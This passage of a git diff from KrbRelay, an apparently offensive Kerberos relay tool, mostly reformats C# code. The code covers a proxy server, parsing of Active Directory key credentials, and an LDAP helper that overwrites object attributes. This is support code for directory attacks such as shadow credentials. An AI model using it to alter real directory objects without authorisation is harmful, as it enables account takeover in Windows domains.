Uri(targetUrl), prefixes) { } public ProxyServer(Uri targetUrl, params string[] prefixes) { @@ -72,11 +70,21 @@ public ProxyServer(Uri targetUrl, params string[] prefixes) public bool RewriteReferer { get; set; } // this can have performance impact... public HttpClient httpClient { get; set; } - public static async void Start(HttpClient httpClient, string targetUrl, string port = "5000") + public static void Start( + HttpClient httpClient, + string targetUrl, + string port = "5000" + ) { Console.WriteLine(string.Format("[*] Starting proxy server on :{0}", port)); Console.WriteLine("[*] Target url: {0}", targetUrl); - using (var server = new ProxyServer(targetUrl, string.Format("http://localhost:{0}/", port), string.Format("http://127.0.0.1:{0}/", port))) + using ( + var server = new ProxyServer( + targetUrl, + string.Format("http://localhost:{0}/", port), + string.Format("http://127.0.0.1:{0}/", port) + ) + ) { server.httpClient = httpClient; server.Start(); @@ -113,7 +121,12 @@ protected virtual async Task ProcessRequest(HttpListenerContext context) throw new ArgumentNullException(nameof(context)); var url = TargetUrl.GetComponents(UriComponents.SchemeAndServer, UriFormat.Unescaped); - using (var msg = new HttpRequestMessage(new HttpMethod(context.Request.HttpMethod), url + context.Request.RawUrl)) + using ( + var msg = new HttpRequestMessage( + new HttpMethod(context.Request.HttpMethod), + url + context.Request.RawUrl + ) + ) { msg.Version = context.Request.ProtocolVersion; @@ -148,7 +161,10 @@ protected virtual async Task ProcessRequest(HttpListenerContext context) break; case "Referer": - if (RewriteReferer && Uri.TryCreate(headerValue, UriKind.Absolute, out var referer)) // if relative, don't handle + if ( + RewriteReferer + && Uri.TryCreate(headerValue, UriKind.Absolute, out var referer) + ) // if relative, don't handle { var builder = new UriBuilder(referer); builder.Host = TargetUrl.Host; @@ -186,7 +202,10 @@ protected virtual async Task ProcessRequest(HttpListenerContext context) foreach (var header in response.Headers) { - context.Response.Headers.Add(header.Key, string.Join(", ", header.Value)); + context.Response.Headers.Add( + header.Key, + string.Join(", ", header.Value) + ); } foreach (var header in response.Content.Headers) @@ -194,43 +213,74 @@ protected virtual async Task ProcessRequest(HttpListenerContext context) if (header.Key == "Content-Length") // this will be set automatically at dispose time continue; - context.Response.Headers.Add(header.Key, string.Join(", ", header.Value)); + context.Response.Headers.Add( + header.Key, + string.Join(", ", header.Value) + ); } var ct = context.Response.ContentType; - if (RewriteTargetInText && host != null && ct != null && - (ct.IndexOf("text/html", StringComparison.OrdinalIgnoreCase) >= 0 || - ct.IndexOf("application/json", StringComparison.OrdinalIgnoreCase) >= 0)) + if ( + RewriteTargetInText + && host != null + && ct != null + && ( + ct.IndexOf("text/html", StringComparison.OrdinalIgnoreCase) >= 0 + || ct.IndexOf( + "application/json", + StringComparison.OrdinalIgnoreCase + ) >= 0 + ) + ) { using (var ms = new MemoryStream()) { - using (var stream = await response.Content.ReadAsStreamAsync().ConfigureAwait(false)) + using ( + var stream = await response.Content + .ReadAsStreamAsync() + .ConfigureAwait(false) + ) { await stream.CopyToAsync(ms).ConfigureAwait(false); var enc = context.Response.ContentEncoding ?? Encoding.UTF8; var html = enc.GetString(ms.ToArray()); - if (TryReplace(html, "//" + _targetHost + ":" + _targetPort + "/", "//" + host + "/", out var replaced)) + if ( + TryReplace( + html, + "//" + _targetHost + ":" + _targetPort + "/", + "//" + host + "/", + out var replaced + ) + ) { var bytes = enc.GetBytes(replaced); using (var ms2 = new MemoryStream(bytes)) { ms2.Position = 0; - await ms2.CopyToAsync(context.Response.OutputStream).ConfigureAwait(false); + await ms2.CopyToAsync(context.Response.OutputStream) + .ConfigureAwait(false); } } else { ms.Position = 0; - await ms.CopyToAsync(context.Response.OutputStream).ConfigureAwait(false); + await ms.CopyToAsync(context.Response.OutputStream) + .ConfigureAwait(false); } } } } else { - using (var stream = await response.Content.ReadAsStreamAsync().ConfigureAwait(false)) + using ( + var stream = await response.Content + .ReadAsStreamAsync() + .ConfigureAwait(false) + ) { - await stream.CopyToAsync(context.Response.OutputStream).ConfigureAwait(false); + await stream + .CopyToAsync(context.Response.OutputStream) + .ConfigureAwait(false); } } } @@ -245,7 +295,12 @@ protected virtual async Task ProcessRequest(HttpListenerContext context) public void Dispose() => ((IDisposable)_listener)?.Dispose(); // out-of-the-box replace doesn't tell if something *was* replaced or not - private static bool TryReplace(string input, string oldValue, string newValue, out string result) + private static bool TryReplace( + string input, + string oldValue, + string newValue, + out string result + ) { if (string.IsNullOrEmpty(input) || string.IsNullOrEmpty(oldValue)) { @@ -313,4 +368,4 @@ private static bool TryReplace(string input, string oldValue, string newValue, o return false; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs index f8433fd..43a0abf 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/DNWithBinary.cs @@ -14,17 +14,9 @@ public sealed class DNWithBinary private const string StringFormatPrefix = "B:"; private const char StringFormatSeparator = ':'; - public string DistinguishedName - { - get; - private set; - } + public string DistinguishedName { get; private set; } - public byte[] Binary - { - get; - private set; - } + public byte[] Binary { get; private set; } public DNWithBinary(string dn, byte[] binary) { @@ -40,9 +32,17 @@ public static DNWithBinary Parse(string dnWithBinary) Validator.AssertNotNullOrEmpty(dnWithBinary, nameof(dnWithBinary)); bool hasCorrectPrefix = dnWithBinary.StartsWith(StringFormatPrefix); - int valueLeadingColonIndex = dnWithBinary.IndexOf(StringFormatSeparator, StringFormatPrefix.Length); - int valueTrailingColonIndex = dnWithBinary.IndexOf(StringFormatSeparator, valueLeadingColonIndex + 1); - bool has4Parts = valueLeadingColonIndex >= 3 && (valueLeadingColonIndex + 1) < valueTrailingColonIndex; + int valueLeadingColonIndex = dnWithBinary.IndexOf( + StringFormatSeparator, + StringFormatPrefix.Length + ); + int valueTrailingColonIndex = dnWithBinary.IndexOf( + StringFormatSeparator, + valueLeadingColonIndex + 1 + ); + bool has4Parts = + valueLeadingColonIndex >= 3 + && (valueLeadingColonIndex + 1) < valueTrailingColonIndex; if (!hasCorrectPrefix || !has4Parts) { @@ -51,13 +51,21 @@ public static DNWithBinary Parse(string dnWithBinary) } string dn = dnWithBinary.Substring(valueTrailingColonIndex + 1); - byte[] binary = dnWithBinary.HexToBinary(valueLeadingColonIndex + 1, valueTrailingColonIndex - valueLeadingColonIndex - 1); + byte[] binary = dnWithBinary.HexToBinary( + valueLeadingColonIndex + 1, + valueTrailingColonIndex - valueLeadingColonIndex - 1 + ); return new DNWithBinary(dn, binary); } public override string ToString() { - return String.Format(StringFormat, this.Binary.Length * 2, this.Binary.ToHex(true), this.DistinguishedName); + return String.Format( + StringFormat, + this.Binary.Length * 2, + this.Binary.ToHex(true), + this.DistinguishedName + ); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs index 07a9bab..5f10e64 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/CustomKeyInformation.cs @@ -13,72 +13,38 @@ public class CustomKeyInformation private const int ShortRepresentationSize = sizeof(byte) + sizeof(KeyFlags); // Version + KeyFlags private const int ReservedSize = 10 * sizeof(byte); - public byte Version - { - get; - private set; - } + public byte Version { get; private set; } - public KeyFlags Flags - { - get; - private set; - } + public KeyFlags Flags { get; private set; } - public VolumeType? VolumeType - { - get; - private set; - } + public VolumeType? VolumeType { get; private set; } /// /// Specifies whether the device associated with this credential supports notification. /// - public bool? SupportsNotification - { - get; - private set; - } + public bool? SupportsNotification { get; private set; } /// /// Specifies the version of the File Encryption Key (FEK). /// - public byte? FekKeyVersion - { - get; - private set; - } + public byte? FekKeyVersion { get; private set; } /// /// Specifies the strength of the NGC key. /// - public KeyStrength? Strength - { - get; - private set; - } + public KeyStrength? Strength { get; private set; } /// /// Reserved for future use. /// - public byte[] Reserved - { - get; - private set; - } + public byte[] Reserved { get; private set; } /// /// Extended custom key information. /// - public byte[] EncodedExtendedCKI - { - get; - private set; - } + public byte[] EncodedExtendedCKI { get; private set; } - public CustomKeyInformation() : this(KeyFlags.None) - { - } + public CustomKeyInformation() : this(KeyFlags.None) { } public CustomKeyInformation(KeyFlags flags) { @@ -129,7 +95,10 @@ public CustomKeyInformation(byte[] blob) { // 10 bytes reserved for future use. // Note: With FIDO, Azure incorrectly puts here 9 bytes instead of 10. - int actualReservedSize = (int)Math.Min(ReservedSize, stream.Length - stream.Position); + int actualReservedSize = (int)Math.Min( + ReservedSize, + stream.Length - stream.Position + ); this.Reserved = new byte[actualReservedSize]; stream.Read(this.Reserved, 0, actualReservedSize); } @@ -183,4 +152,4 @@ public byte[] ToByteArray() } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs index c6c087e..db0fa1c 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredential.cs @@ -29,11 +29,7 @@ public class KeyCredential /// /// Defines the version of the structure. /// - public KeyCredentialVersion Version - { - get; - private set; - } + public KeyCredentialVersion Version { get; private set; } /// /// A SHA256 hash of the Value field of the RawKeyMaterial entry. @@ -41,11 +37,7 @@ public KeyCredentialVersion Version /// /// Version 1 keys had a guid in this field instead if a hash. /// - public string Identifier - { - get; - private set; - } + public string Identifier { get; private set; } public bool IsWeak { @@ -56,32 +48,16 @@ public bool IsWeak } } - public KeyUsage Usage - { - get; - private set; - } + public KeyUsage Usage { get; private set; } - public string LegacyUsage - { - get; - private set; - } + public string LegacyUsage { get; private set; } - public KeySource Source - { - get; - private set; - } + public KeySource Source { get; private set; } /// /// Key material of the credential. /// - public byte[] RawKeyMaterial - { - get; - private set; - } + public byte[] RawKeyMaterial { get; private set; } public RSAParameters? RSAPublicKey { @@ -128,35 +104,19 @@ public string RSAModulus } } - public CustomKeyInformation CustomKeyInfo - { - get; - private set; - } + public CustomKeyInformation CustomKeyInfo { get; private set; } - public Guid? DeviceId - { - get; - private set; - } + public Guid? DeviceId { get; private set; } /// /// The approximate time this key was created. /// - public DateTime CreationTime - { - get; - private set; - } + public DateTime CreationTime { get; private set; } /// /// The approximate time this key was last used. /// - public DateTime? LastLogonTime - { - get; - private set; - } + public DateTime? LastLogonTime { get; private set; } /// /// Distinguished name of the AD object (UPN in case of AAD objects) that holds this key credential. @@ -168,22 +128,42 @@ public string Owner internal set; } - public KeyCredential(X509Certificate2 certificate, Guid? deviceId, string owner, DateTime? currentTime = null, bool isComputerKey = false) + public KeyCredential( + X509Certificate2 certificate, + Guid? deviceId, + string owner, + DateTime? currentTime = null, + bool isComputerKey = false + ) { Validator.AssertNotNull(certificate, nameof(certificate)); // Computer NGC keys are DER-encoded, while user NGC keys are encoded as BCRYPT_RSAKEY_BLOB. - byte[] publicKey = isComputerKey ? certificate.ExportRSAPublicKeyDER() : certificate.ExportRSAPublicKeyBCrypt(); + byte[] publicKey = isComputerKey + ? certificate.ExportRSAPublicKeyDER() + : certificate.ExportRSAPublicKeyBCrypt(); this.Initialize(publicKey, deviceId, owner, currentTime, isComputerKey); } - public KeyCredential(byte[] publicKey, Guid? deviceId, string owner, DateTime? currentTime = null, bool isComputerKey = false) + public KeyCredential( + byte[] publicKey, + Guid? deviceId, + string owner, + DateTime? currentTime = null, + bool isComputerKey = false + ) { Validator.AssertNotNull(publicKey, nameof(publicKey)); this.Initialize(publicKey, deviceId, owner, currentTime, isComputerKey); } - private void Initialize(byte[] publicKey, Guid? deviceId, string owner, DateTime? currentTime, bool isComputerKey) + private void Initialize( + byte[] publicKey, + Guid? deviceId, + string owner, + DateTime? currentTime, + bool isComputerKey + ) { // Prodess owner DN/UPN Validator.AssertNotNullOrEmpty(owner, nameof(owner)); @@ -192,7 +172,9 @@ private void Initialize(byte[] publicKey, Guid? deviceId, string owner, DateTime // Initialize the Key Credential based on requirements stated in MS-KPP Processing Details: this.Version = KeyCredentialVersion.Version2; this.Identifier = ComputeKeyIdentifier(publicKey, this.Version); - this.CreationTime = currentTime.HasValue ? currentTime.Value.ToUniversalTime() : DateTime.UtcNow; + this.CreationTime = currentTime.HasValue + ? currentTime.Value.ToUniversalTime() + : DateTime.UtcNow; this.RawKeyMaterial = publicKey; this.Usage = KeyUsage.NGC; this.Source = KeySource.AD; @@ -232,7 +214,8 @@ public KeyCredential(byte[] blob, string owner) ushort length = reader.ReadUInt16(); // An 8-bit unsigned integer that specifies the type of data that is stored in the Value field. - KeyCredentialEntryType entryType = (KeyCredentialEntryType)reader.ReadByte(); + KeyCredentialEntryType entryType = + (KeyCredentialEntryType)reader.ReadByte(); // A series of bytes whose size and meaning are defined by the Identifier field. byte[] value = reader.ReadBytes(length); @@ -285,11 +268,19 @@ public KeyCredential(byte[] blob, string owner) break; case KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp: - this.LastLogonTime = ConvertFromBinaryTime(value, this.Source, this.Version); + this.LastLogonTime = ConvertFromBinaryTime( + value, + this.Source, + this.Version + ); break; case KeyCredentialEntryType.KeyCreationTime: - this.CreationTime = ConvertFromBinaryTime(value, this.Source, this.Version); + this.CreationTime = ConvertFromBinaryTime( + value, + this.Source, + this.Version + ); break; default: @@ -318,7 +309,8 @@ public override string ToString() this.Source, this.Version, this.Usage, - this.CreationTime); + this.CreationTime + ); } public byte[] ToByteArray() @@ -367,14 +359,24 @@ public byte[] ToByteArray() // Last Logon Time if (this.LastLogonTime.HasValue) { - byte[] binaryLastLogonTime = ConvertToBinaryTime(this.LastLogonTime.Value, this.Source, this.Version); + byte[] binaryLastLogonTime = ConvertToBinaryTime( + this.LastLogonTime.Value, + this.Source, + this.Version + ); propertyWriter.Write((ushort)binaryLastLogonTime.Length); - propertyWriter.Write((byte)KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp); + propertyWriter.Write( + (byte)KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp + ); propertyWriter.Write(binaryLastLogonTime); } // Creation Time - byte[] binaryCreationTime = ConvertToBinaryTime(this.CreationTime, this.Source, this.Version); + byte[] binaryCreationTime = ConvertToBinaryTime( + this.CreationTime, + this.Source, + this.Version + ); propertyWriter.Write((ushort)binaryCreationTime.Length); propertyWriter.Write((byte)KeyCredentialEntryType.KeyCreationTime); propertyWriter.Write(binaryCreationTime); @@ -421,7 +423,11 @@ public static KeyCredential ParseDNBinary(string dnWithBinary) return new KeyCredential(parsed.Binary, parsed.DistinguishedName); } - private static DateTime ConvertFromBinaryTime(byte[] binaryTime, KeySource source, KeyCredentialVersion version) + private static DateTime ConvertFromBinaryTime( + byte[] binaryTime, + KeySource source, + KeyCredentialVersion version + ) { long timeStamp = BitConverter.ToInt64(binaryTime, 0); @@ -436,11 +442,17 @@ private static DateTime ConvertFromBinaryTime(byte[] binaryTime, KeySource sourc case KeyCredentialVersion.Version2: default: - return source == KeySource.AD ? DateTime.FromFileTime(timeStamp) : DateTime.FromBinary(timeStamp); + return source == KeySource.AD + ? DateTime.FromFileTime(timeStamp) + : DateTime.FromBinary(timeStamp); } } - private static byte[] ConvertToBinaryTime(DateTime time, KeySource source, KeyCredentialVersion version) + private static byte[] ConvertToBinaryTime( + DateTime time, + KeySource source, + KeyCredentialVersion version + ) { long timeStamp; switch (version) @@ -476,7 +488,10 @@ private static string ComputeKeyIdentifier(byte[] keyMaterial, KeyCredentialVers return ConvertFromBinaryIdentifier(binaryId, version); } - private static string ConvertFromBinaryIdentifier(byte[] binaryId, KeyCredentialVersion version) + private static string ConvertFromBinaryIdentifier( + byte[] binaryId, + KeyCredentialVersion version + ) { switch (version) { @@ -490,7 +505,10 @@ private static string ConvertFromBinaryIdentifier(byte[] binaryId, KeyCredential } } - private static byte[] ConvertToBinaryIdentifier(string keyIdentifier, KeyCredentialVersion version) + private static byte[] ConvertToBinaryIdentifier( + string keyIdentifier, + KeyCredentialVersion version + ) { switch (version) { @@ -504,4 +522,4 @@ private static byte[] ConvertToBinaryIdentifier(string keyIdentifier, KeyCredent } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs index 20c4503..98fb068 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs @@ -52,4 +52,4 @@ public enum KeyCredentialEntryType : byte /// KeyCreationTime = 0x09 } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs index 27e2c13..6ff92b0 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs @@ -10,4 +10,4 @@ public enum KeyCredentialVersion : uint Version1 = 0x00000100, Version2 = 0x00000200, } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs index c4ec63a..ff75566 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs @@ -24,4 +24,4 @@ public enum KeyFlags : byte /// MFANotUsed = 0x02, } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs index 1370d22..a9c2f92 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs @@ -16,4 +16,4 @@ public enum KeySource : byte /// AzureAD = 0x01 } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs index 0b3ff10..f030116 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs @@ -21,4 +21,4 @@ public enum KeyStrength : byte /// Normal = 0x02 } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs index e30e624..28b07dd 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyUsage.cs @@ -44,4 +44,4 @@ public enum KeyUsage : byte /// DPAPI // TODO: The DPAPI enum needs to be mapped to a proper integer value. } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs index 27f1612..57e6a7d 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs @@ -26,4 +26,4 @@ public enum VolumeType : byte /// Removable = 0x03 } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs index f111a5c..c068947 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/ByteArrayExtensions.cs @@ -44,7 +44,11 @@ public static byte[] HexToBinary(this string hex, int startIndex, int length) byte[] bytes = new byte[length / 2]; // Perform the conversion - for (int nibbleIndex = 0, byteIndex = 0; nibbleIndex < length; byteIndex = ++nibbleIndex / 2) + for ( + int nibbleIndex = 0, byteIndex = 0; + nibbleIndex < length; + byteIndex = ++nibbleIndex / 2 + ) { char nibble = hex[startIndex + nibbleIndex]; @@ -63,7 +67,10 @@ public static byte[] HexToBinary(this string hex, int startIndex, int length) else { // Invalid digit - var exception = new ArgumentException(Resources.NotHexStringMessage, nameof(hex)); + var exception = new ArgumentException( + Resources.NotHexStringMessage, + nameof(hex) + ); exception.Data.Add("Value", hex); throw exception; } @@ -185,7 +192,10 @@ public static Guid ToGuidBigEndian(this byte[] bytes) return new Guid(bytes); } - public static SecurityIdentifier ToSecurityIdentifier(this byte[] binarySid, bool bigEndianRid = false) + public static SecurityIdentifier ToSecurityIdentifier( + this byte[] binarySid, + bool bigEndianRid = false + ) { if (binarySid == null) { @@ -233,4 +243,4 @@ public static byte[] ReadToEnd(this MemoryStream stream) return buffer; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs index bce418f..776587b 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Extensions/RSAExtensions.cs @@ -16,7 +16,10 @@ public static class RSAExtensions /// /// OID 1.2.840.113549.1.1.1 - Identifier for RSA encryption for use with Public Key Cryptosystem One defined by RSA Inc. /// - private static readonly Oid RsaOid = Oid.FromFriendlyName("RSA", OidGroup.PublicKeyAlgorithm); + private static readonly Oid RsaOid = Oid.FromFriendlyName( + "RSA", + OidGroup.PublicKeyAlgorithm + ); /// /// ASN.1 Tag NULL @@ -26,7 +29,9 @@ public static class RSAExtensions /// /// BCRYPT_PUBLIC_KEY_BLOB Format /// - private static readonly CngKeyBlobFormat BCryptRSAPublicKeyFormat = new CngKeyBlobFormat("RSAPUBLICBLOB"); + private static readonly CngKeyBlobFormat BCryptRSAPublicKeyFormat = new CngKeyBlobFormat( + "RSAPUBLICBLOB" + ); /// /// Converts a RSA public key to BCRYPT_RSAKEY_BLOB. @@ -39,7 +44,7 @@ public static byte[] ExportRSAPublicKeyBCrypt(this X509Certificate2 certificate) using (var rsa = (RSACng)certificate.GetRSAPublicKey()) { - using(var key = rsa.Key) + using (var key = rsa.Key) { //Console.WriteLine(KrbRelay.Helpers.ByteArrayToString(key.Export(BCryptRSAPublicKeyFormat))); return key.Export(BCryptRSAPublicKeyFormat); @@ -137,4 +142,4 @@ public static bool IsWeakKey(this RSAParameters publicKey) return false; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs index d55856f..266fe19 100644 --- a/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs +++ b/KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Validator.cs @@ -11,7 +11,11 @@ public static void AssertEquals(string expectedValue, string actualValue, string { if (!String.Equals(expectedValue, actualValue, StringComparison.InvariantCulture)) { - string message = String.Format(Resources.UnexpectedValueMessage, actualValue, expectedValue); + string message = String.Format( + Resources.UnexpectedValueMessage, + actualValue, + expectedValue + ); throw new ArgumentException(message, paramName); } } @@ -20,7 +24,11 @@ public static void AssertEquals(char expectedValue, char actualValue, string par { if (expectedValue.CompareTo(actualValue) != 0) { - string message = String.Format(Resources.UnexpectedValueMessage, actualValue, expectedValue); + string message = String.Format( + Resources.UnexpectedValueMessage, + actualValue, + expectedValue + ); throw new ArgumentException(message, paramName); } } @@ -54,7 +62,11 @@ public static void AssertLength(string value, int length, string paramName) AssertNotNull(value, paramName); if (value.Length != length) { - throw new ArgumentOutOfRangeException(paramName, value.Length, Resources.UnexpectedLengthMessage); + throw new ArgumentOutOfRangeException( + paramName, + value.Length, + Resources.UnexpectedLengthMessage + ); } } @@ -63,7 +75,11 @@ public static void AssertMaxLength(SecureString password, int maxLength, string AssertNotNull(password, paramName); if (password.Length > maxLength) { - throw new ArgumentOutOfRangeException(paramName, password.Length, Resources.InputLongerThanMaxMessage); + throw new ArgumentOutOfRangeException( + paramName, + password.Length, + Resources.InputLongerThanMaxMessage + ); } } @@ -72,7 +88,11 @@ public static void AssertMaxLength(string input, int maxLength, string paramName AssertNotNull(input, paramName); if (input.Length > maxLength) { - throw new ArgumentOutOfRangeException(paramName, input.Length, Resources.InputLongerThanMaxMessage); + throw new ArgumentOutOfRangeException( + paramName, + input.Length, + Resources.InputLongerThanMaxMessage + ); } } @@ -81,7 +101,11 @@ public static void AssertMinLength(byte[] data, int minLength, string paramName) AssertNotNull(data, paramName); if (data.Length < minLength) { - var exception = new ArgumentOutOfRangeException(paramName, data.Length, Resources.InputShorterThanMinMessage); + var exception = new ArgumentOutOfRangeException( + paramName, + data.Length, + Resources.InputShorterThanMinMessage + ); // DEBUG: exception.Data.Add("BinaryBlob", data.ToHex()); throw exception; } @@ -92,7 +116,11 @@ public static void AssertLength(byte[] value, long length, string paramName) AssertNotNull(value, paramName); if (value.Length != length) { - throw new ArgumentOutOfRangeException(paramName, value.Length, Resources.UnexpectedLengthMessage); + throw new ArgumentOutOfRangeException( + paramName, + value.Length, + Resources.UnexpectedLengthMessage + ); } } @@ -114,4 +142,4 @@ public static void AssertDirectoryExists(string directoryPath) } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/Generic.cs b/KrbRelay/Clients/Attacks/Ldap/Generic.cs index dae446d..db69ea8 100644 --- a/KrbRelay/Clients/Attacks/Ldap/Generic.cs +++ b/KrbRelay/Clients/Attacks/Ldap/Generic.cs @@ -3,31 +3,33 @@ using System.Linq; using System.Runtime.InteropServices; using System.Text; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { internal class Generic { - public static Dictionary> GetLdapAttributes(IntPtr ld, IntPtr entry, ref IntPtr ber) + public static Dictionary> GetLdapAttributes( + IntPtr ld, + IntPtr entry, + ref IntPtr ber + ) { Dictionary> list = new Dictionary>(); - for (var attr = ldap_first_attribute(ld, entry, ref ber); + for ( + var attr = Interop.ldap_first_attribute(ld, entry, ref ber); attr != IntPtr.Zero; - attr = ldap_next_attribute(ld, entry, ber)) + attr = Interop.ldap_next_attribute(ld, entry, ber) + ) { - var vals = ldap_get_values_len(ld, entry, attr); + var vals = Interop.ldap_get_values_len(ld, entry, attr); if (vals != IntPtr.Zero) { var attrName = Marshal.PtrToStringUni(attr); if (attrName != null) { - list.Add( - attrName, - Helpers.BerValArrayToByteArrays(vals) - ); + list.Add(attrName, Helpers.BerValArrayToByteArrays(vals)); } - ldap_value_free_len(vals); + Interop.ldap_value_free_len(vals); } } return list; @@ -35,7 +37,7 @@ public static Dictionary> GetLdapAttributes(IntPtr ld, IntP public static string GetLdapDn(IntPtr ld, IntPtr entry) { - var ptr = ldap_get_dn(ld, entry); + var ptr = Interop.ldap_get_dn(ld, entry); var dn = Marshal.PtrToStringUni(ptr); return dn; } @@ -43,19 +45,21 @@ public static string GetLdapDn(IntPtr ld, IntPtr entry) public static LdapStatus setAttribute(IntPtr ld, string attribute, byte[] value, string dn) { var modPropPtr = Marshal.StringToHGlobalUni(attribute); - var modValue = new List { - value - }; + var modValue = new List { value }; var modValuePtr = Marshal.AllocHGlobal(IntPtr.Size * 2); - Helpers.ByteArraysToBerValueArray(modValue.Select(_ => _ ?? new byte[0]).ToArray(), modValuePtr); - List mod = new List { - new LDAPMod { - mod_op = (int)LdapModOperation.LDAP_MOD_REPLACE | (int)LdapModOperation.LDAP_MOD_BVALUES, + Helpers.ByteArraysToBerValueArray( + modValue.Select(_ => _ ?? new byte[0]).ToArray(), + modValuePtr + ); + List mod = new List + { + new LDAPMod + { + mod_op = + (int)LdapModOperation.Replace + | (int)LdapModOperation.BValues, mod_type = modPropPtr, - mod_vals_u = new LDAPMod.mod_vals - { - modv_bvals = modValuePtr - }, + mod_vals_u = new LDAPMod.mod_vals { modv_bvals = modValuePtr }, mod_next = IntPtr.Zero } }; @@ -63,15 +67,17 @@ public static LdapStatus setAttribute(IntPtr ld, string attribute, byte[] value, Helpers.StructureArrayToPtr(mod, ptr, true); //int rest = ldap_modify_ext(ld, dn, ptr, IntPtr.Zero, IntPtr.Zero, out int pMessage); - int rest = Natives.ldap_modify_s(ld, dn, ptr); + int rest = Interop.ldap_modify(ld, dn, ptr); Console.WriteLine("[*] ldap_modify: {0}", (LdapStatus)rest); - mod.ForEach(_ => - { - Helpers.BerValuesFree(_.mod_vals_u.modv_bvals); - Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals); - 